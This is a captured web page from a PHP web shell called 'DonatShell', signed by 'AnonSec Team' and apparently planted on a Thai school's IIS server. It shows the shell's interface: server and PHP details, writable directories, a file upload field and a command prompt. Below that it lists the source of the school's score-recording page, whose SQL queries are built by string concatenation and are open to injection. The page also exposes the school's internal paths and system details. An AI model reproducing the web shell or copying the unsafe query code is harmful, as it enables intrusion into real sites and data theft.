%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/mis/teacher/subject_score_v2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/mis/teacher/subject_score_v2/index.php
<?PHP
session_start();
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
header("Last-Modified: " . date("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Pragma: no-cache");
// print_r($_SESSION);
// exit();
include("conf.php");
// echo "XX.";
// exit(); 
?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>ระบบบันทึกคะแนนออนไลน์ โรงเรียนโกวิทธำรงเชียงใหม่</title>
    <!-- Bootstrap Core CSS -->
    <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- Theme CSS -->
    <link href="css/freelancer.min.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css">
    <link href="https://fonts.googleapis.com/css?family=Prompt" rel="stylesheet">

    <style>
        body {
            font-family: 'Prompt', serif;
            font-size: 18;
        }

        .pd-padding-5555 {
            padding-top: 5px;
            padding-right: 3px;
            padding-bottom: 5px;
            padding-left: 5px;
        }

        .w3-padding-16 {
            padding-top: 16px !important;
            padding-bottom: 16px !important
        }
    </style>
    <script>
        function showHint(str) {
            //alert(str);
            if (str.length == 0) {
                document.getElementById("txtHint").innerHTML = "";
                return;
            } else {
                var xmlhttp = new XMLHttpRequest();
                xmlhttp.onreadystatechange = function() {
                    if (this.readyState == 4 && this.status == 200) {
                        document.getElementById("txtHint").innerHTML = this.responseText;
                    }
                };
                xmlhttp.open("GET", "select_score_type.php?ValueSend=" + str, true);
                xmlhttp.send();
            }
        }

        function rtaw(str) {
            //alert(str);
            this.document.location.href = "list_student_rtaw.php?str=" + str;
        } 
        function ScoreChar(str) {
            //alert(str);
            this.document.location.href = "list_student_char.php?str=" + str;
        }
        function ScoreChar_Adv(str) {
            //alert(str);
            this.document.location.href = "list_student_char_adv.php?str=" + str;
        }
        function ScoreCap(str) {
            //alert(str);
            this.document.location.href = "list_student_capacity.php?str=" + str;
        }
        var strScoreType = "";

        function setScoreType(ScoreType) {
            strScoreType = ScoreType;
            methodNext();
        }

        function methodNext() {
            //alert(strScoreType);
            if (strScoreType.length > 0)
                this.document.location.href = "list_student.php?ScoreType=" + strScoreType;
            else
                alert("กรุณาเลือกประเภทคะแนนที่ต้องการบันทึก");

        }

        function Activity(SubID, SubName) {
            //alert(SubID+" - " +SubName);
            this.document.location.href = "list_student_activity.php?SubID=" + SubID + "&&SubName=" + SubName;
        }

        function xxx(test) {
            //alert("OK");
            document.getElementById("txtDetail").innerHTML = test;
        }
    </script>

</head>

<body id="page-top" class="index">
    <div id="skipnav"><a href="#maincontent">Skip to main content</a></div>

    <?PHP
    include "menu.php"; 
    $sql = "select * from LT_SetYearTerm where getdate()>= DateStart and GETDATE()<=DateEnd";
    //echo $sql; exit();
    $stmt = sqlsrv_query($conn, $sql);
    if ($stmt === false) {
        die(print_r(sqlsrv_errors(), true));
    }
    $AYear = "";
    $Term = "";
    while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
        $AYear = $row['eduYear'];
        $Term = $row['eduTerm'];
    }
    if ($AYear == "") {
        echo "ระบบไม่สามารถตรวจสอบภาคเรียนปัจจุบันได้ กรุณาแจ้งฝ่ายวิชาการให้กำหนดภาคเรียนปัจจุบัน";
    }
    $_SESSION["AYear"] = Rtrim($AYear);
    $_SESSION["Term"] = rtrim($Term);
    ?>

    <!-- Header -->
    <!-- Header -->
    <header style="background-color:#5DADE2">
        <div class="container" id="maincontent" tabindex="-1">
            <div class="row">
                <div class="col-lg-12">
                    <img class="img-responsive" src="img/logo.png" width="150" alt="">
                    <div class="intro-text">
                        <h2>บันทึกคะแนนออนไลน์ ภาคเรียนที่ <?PHP echo  $_SESSION["Term"] . "/" . $_SESSION["AYear"]; ?></h2>
                        <hr class="star-light">
                        <span class="skills">โรงเรียนโกวิทธํารงเชียงใหม่</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    <!-- Portfolio Grid Section -->
    <section id="txtHint" align="center">
        <div class="container">
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2>บันทึกคะแนนรายวิชา</h2>
                    <hr class="star-primary">
                </div>
            </div>
            <div class="row">
                <?PHP
                // ============================ รายวิชาปกติ ============================
                $sql = "SELECT     dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TScore.PClass, dbo.TScore.PRoom
FROM         dbo.TScore INNER JOIN
                      dbo.TSubject ON dbo.TScore.PSubjectCode = dbo.TSubject.PSubjectCode
WHERE     (dbo.TScore.RegYear = '" . $AYear . "') AND (dbo.TScore.RegTerm = '" . $Term . "' or dbo.TScore.RegTerm = '_') AND (dbo.TScore.IDTeacher = '" . $IDTeacher . "') AND (IDYearData not like ('NET%')) 
GROUP BY dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TScore.PClass, dbo.TScore.PRoom order by  dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName, dbo.TScore.PClass, dbo.TScore.PRoom";
                //echo $sql; exit();
                $stmt = sqlsrv_query($conn, $sql);
                if ($stmt === false) {
                    die(print_r(sqlsrv_errors(), true));
                }
                //echo $_SESSION["AYear"]; 
                while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
                    echo "<div class='col-sm-3 pd-padding-5555'>"; 
                    echo "<button type=\"button\"  class='btn btn-warning btn-block'  onClick=\"showHint('" . iconv('tis-620', 'utf-8', $row['PSubjectCode']) . "@" . rtrim(iconv('tis-620', 'utf-8', $row['PClass'])) . "@" . iconv('tis-620', 'utf-8', $row['PRoom']) . "')\">" . iconv('tis-620', 'utf-8', $row['PSubjectCode']) . " - ชั้น " . iconv('tis-620', 'utf-8', rtrim($row['PClass'])) . "/" . iconv('tis-620', 'utf-8', $row['PRoom']) . "<br>" . iconv('tis-620', 'utf-8', $row['PSubjectName']) . "</button>";
                    echo "</div>";
                }

                // ============================ สาระเพิ่มเติม / การงานอาชีพ ============================
                /* 
		$sql = "SELECT     dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName 
FROM         dbo.TScore INNER JOIN
                      dbo.TSubject ON dbo.TScore.PSubjectCode = dbo.TSubject.PSubjectCode
WHERE     (dbo.TScore.RegYear = '".$AYear."') AND (dbo.TScore.RegTerm = '".$Term."') AND (dbo.TScore.IDTeacher = '".$IDTeacher."') AND (IDYearData like ('NET%')) 
GROUP BY dbo.TSubject.PSubjectCode, dbo.TSubject.PSubjectName";
 
		$stmt = sqlsrv_query( $conn, $sql );
		if( $stmt === false) {
			die( print_r( sqlsrv_errors(), true) );
		}
		//echo $_SESSION["AYear"];
		
		while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
			echo "<div class='row'>";
			echo "<div class='col-md-1'></div>";
			echo "<div class='col-md-10'><button type=\"button\"  class='btn btn-default btn-block'  onClick=\"showHint('".iconv('tis-620','utf-8',$row['PSubjectCode'])."')\">".iconv('tis-620','utf-8',$row['PSubjectCode'])."<br>".iconv('tis-620','utf-8',$row['PSubjectName'])."</button></div>";
			echo "<div class='col-md-1'></div>";
			echo "</div><br>";
		}
		// ============================ รายวิชากิจกรรม ============================
		$sql = "SELECT    SubName, IDTeacher, ActivityCode FROM TBStudentActivity Where  (IDTeacher = '".$_SESSION["IDTeacher"]."') and AYear='".$AYear."' and Term='".$Term."' GROUP BY SubName, IDTeacher, ActivityCode ";
 		//echo $sql;
		$stmt = sqlsrv_query( $conn, $sql );
		if( $stmt === false) {
			die( print_r( sqlsrv_errors(), true) );
		}
		//echo $_SESSION["AYear"];
		
		while( $row = sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC) ) {
			echo "<div class='row'>";
			echo "<div class='col-md-1'></div>";
			echo "<div class='col-md-10'><button type=\"button\"  class='btn btn-default btn-block' onclick=\"Activity('".iconv('tis-620','utf-8',$row['ActivityCode'])."','".iconv('tis-620','utf-8',$row['SubName'])."')\">กิจกรรม<br>".iconv('tis-620','utf-8',$row['SubName'])."</button></div>";
			echo "<div class='col-md-1'></div>";
			echo "</div><br>";
		}
		
        sqlsrv_free_stmt( $stmt);
        */
                ?>
                <!-- <button type="button" class="btn btn-info btn-lg" data-toggle="modal" data-target="#myModal" onClick="xxx('test')">Open Modal</button> -->
            </div>
            <P>
                <HR>
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2>บันทึกคะแนนอ่านคิดวิเคราะห์ และเขียน</h2>
                    <hr class="star-primary">
                </div>
                <?PHP
                // =========================== สำหรับบันทึกคะแนน อ่านคิดวิเคราะห์ และเขียน ==================
                echo "<br><br>";
                $sql = "select TSubject.PSubjectCode,PClass,PRoom,TSubject.PSubjectName from TScore Inner join TSubject on TScore.PSubjectCode = TSubject.PSubjectCode where RegYear='" . $AYear . "' and (RegTerm='" . $Term . "'  or RegTerm='_') and IDTeacher='" . $IDTeacher . "' group by TSubject.PSubjectCode,PClass,PRoom,PSubjectName";

                $stmt = sqlsrv_query($conn, $sql);
                if ($stmt === false) {
                    die(print_r(sqlsrv_errors(), true));
                }
                //echo $_SESSION["AYear"];
                while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
                    echo "<div class='col-sm-3 pd-padding-5555'>";  
                    $str = iconv('tis-620', 'utf-8', $row['PSubjectCode']) . "@" . rtrim(iconv('tis-620', 'utf-8', $row['PClass'])) . "@" . iconv('tis-620', 'utf-8', $row['PRoom']);
                    echo "<button type=\"button\"  class='btn btn-warning btn-block'  onClick=\"rtaw('" . $str . "')\">" . iconv('tis-620', 'utf-8', $row['PSubjectCode']) . " - ชั้น " . iconv('tis-620', 'utf-8', rtrim($row['PClass'])) . "/" . iconv('tis-620', 'utf-8', $row['PRoom']) . "<br>" . iconv('tis-620', 'utf-8', $row['PSubjectName']) . "</button>";
                    echo "</div>";
                }
               
                ?>
            </div>
            <P>
                <HR>
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2>บันทึกคะแนน คุณลักษณะอันพึงประสงค์</h2>
                    <hr class="star-primary">
                </div>
                <?PHP
                // =========================== สำหรับบันทึกคะแนน คุณลักษณะอันพึงประสงค์ ==================
                echo "<br><br>";
                $sql = "select TSubject.PSubjectCode,PClass,PRoom,TSubject.PSubjectName from TScore Inner join TSubject on TScore.PSubjectCode = TSubject.PSubjectCode where RegYear='" . $AYear . "' and (RegTerm='" . $Term . "'  or RegTerm='_') and IDTeacher='" . $IDTeacher . "' group by TSubject.PSubjectCode,PClass,PRoom,PSubjectName";
                $stmt = sqlsrv_query($conn, $sql);
                if ($stmt === false) {
                    die(print_r(sqlsrv_errors(), true));
                }
                //echo $_SESSION["AYear"];
                while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
                    echo "<div class='col-sm-3 pd-padding-5555'>";  
                    $str = iconv('tis-620', 'utf-8', $row['PSubjectCode']) . "@" . rtrim(iconv('tis-620', 'utf-8', $row['PClass'])) . "@" . iconv('tis-620', 'utf-8', $row['PRoom']);
                    echo "<button type=\"button\"  class='btn btn-warning btn-block'  onClick=\"ScoreChar('" . $str . "')\">" . iconv('tis-620', 'utf-8', $row['PSubjectCode']) . " - ชั้น " . iconv('tis-620', 'utf-8', rtrim($row['PClass'])) . "/" . iconv('tis-620', 'utf-8', $row['PRoom']) . "<br>" . iconv('tis-620', 'utf-8', $row['PSubjectName']) . "</button>";
                    echo "</div>";
                }
                 // คะแนนคุณลักษณะอันพึงประสงค์ สำหรับส่วนที่ปรึกษา
                 $sql = "select * from TTeacherAdviser where AYear='" . $AYear . "' and Term='" . $Term . "' and IDTeacher='" . $IDTeacher . "'"; 
                 $stmt = sqlsrv_query($conn, $sql);
                 if ($stmt === false) {
                     die(print_r(sqlsrv_errors(), true));
                 }
                 //echo $_SESSION["AYear"];
                 while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
                     echo "<div class='col-sm-3 pd-padding-5555'>";  
                     $str = 'ADV@'.rtrim(iconv('tis-620', 'utf-8', $row['PClass'])) . "@" . iconv('tis-620', 'utf-8', $row['PRoom']);
                     echo "<button type=\"button\"  class='btn btn-success btn-block'  onClick=\"ScoreChar_Adv('" . $str . "')\">" .  iconv('tis-620', 'utf-8', rtrim($row['PClass'])) . "/" . iconv('tis-620', 'utf-8', $row['PRoom']) . "<br> (สำหรับครูประจำชั้น)</button>";
                     echo "</div>";
                 }
                ?>
            </div>
            <P>
                <HR>
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2>บันทึกคะแนน สมรรถนะ</h2>
                    <hr class="star-primary">
                </div>
                <?PHP
                // =========================== สำหรับบันทึกคะแนน คุณลักษณะอันพึงประสงค์ ==================
                echo "<br><br>";
                $sql = "select TSubject.PSubjectCode,PClass,PRoom,TSubject.PSubjectName from TScore Inner join TSubject on TScore.PSubjectCode = TSubject.PSubjectCode where RegYear='" . $AYear . "' and (RegTerm='" . $Term . "'  or RegTerm='_') and IDTeacher='" . $IDTeacher . "' group by TSubject.PSubjectCode,PClass,PRoom,PSubjectName";
                $stmt = sqlsrv_query($conn, $sql);
                if ($stmt === false) {
                    die(print_r(sqlsrv_errors(), true));
                }
                //echo $_SESSION["AYear"];
                while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
                    echo "<div class='col-sm-3 pd-padding-5555'>";  
                    $str = iconv('tis-620', 'utf-8', $row['PSubjectCode']) . "@" . rtrim(iconv('tis-620', 'utf-8', $row['PClass'])) . "@" . iconv('tis-620', 'utf-8', $row['PRoom']);
                    echo "<button type=\"button\"  class='btn btn-warning btn-block'  onClick=\"ScoreCap('" . $str . "')\">" . iconv('tis-620', 'utf-8', $row['PSubjectCode']) . " - ชั้น " . iconv('tis-620', 'utf-8', rtrim($row['PClass'])) . "/" . iconv('tis-620', 'utf-8', $row['PRoom']) . "<br>" . iconv('tis-620', 'utf-8', $row['PSubjectName']) . "</button>";
                    echo "</div>";
                }
                ?>
            </div>
    </section>

    <!-- About Section -->
    <section class="success" id="about" style="background-color:#5DADE2">
        <div class="container">
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2>About</h2>
                    <hr class="star-light">
                </div>
            </div>
            <div class="row">
                <div class="col-lg-4 col-lg-offset-2">
                    <p>การบันทึกคะแนนในแต่ละรายวิชา จะบันทึกคะแนน 4 ครั้ง ได้แก่ <br><br>1.คะแนนเก็บครั้งที่ 1 <br>2.คะแนนสอบกลางภาค<br>3.คะแนนเก็บครั้งที่ 2<br>4.คะแนนเก็บปลายภาค</p>
                </div>
            </div>
        </div>
    </section>

    <!-- Contact Section -->
    <section id="contact">
        <div class="container">
            <div class="row">
                <div class="col-lg-12 text-center">
                    <h2></h2>
                    <hr class="star-primary">
                </div>
            </div>
        </div>
    </section>

    <!-- Footer -->
    <?PHP
    include "footer.php";
    ?>

    <!-- Scroll to Top Button (Only visible on small and extra-small screen sizes) -->
    <div class="scroll-top page-scroll hidden-sm hidden-xs hidden-lg hidden-md">
        <a class="btn btn-primary" href="#page-top">
            <i class="fa fa-chevron-up"></i>
        </a>
    </div>

    <!-- jQuery -->

    <!-- Bootstrap Core JavaScript -->
    <script src="vendor/bootstrap/js/bootstrap.min.js"></script>

    <!-- Plugin JavaScript -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script>

    <!-- Contact Form JavaScript -->
    <script src="js/jqBootstrapValidation.js"></script>
    <script src="js/contact_me.js"></script>

    <!-- Theme JavaScript -->
    <script src="js/freelancer.min.js"></script>


    <!-- Modal -->
    <div id="myModal" class="modal fade" role="dialog">
        <div class="modal-dialog">

            <!-- Modal content-->
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal">&times;</button>
                    <h4 class="modal-title">Modal Header</h4>
                </div>
                <div class="modal-body">
                    <p id="txtDetail">----</p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>

        </div>
    </div>
</body>

</html>

Anon7 - 2022
AnonSec Team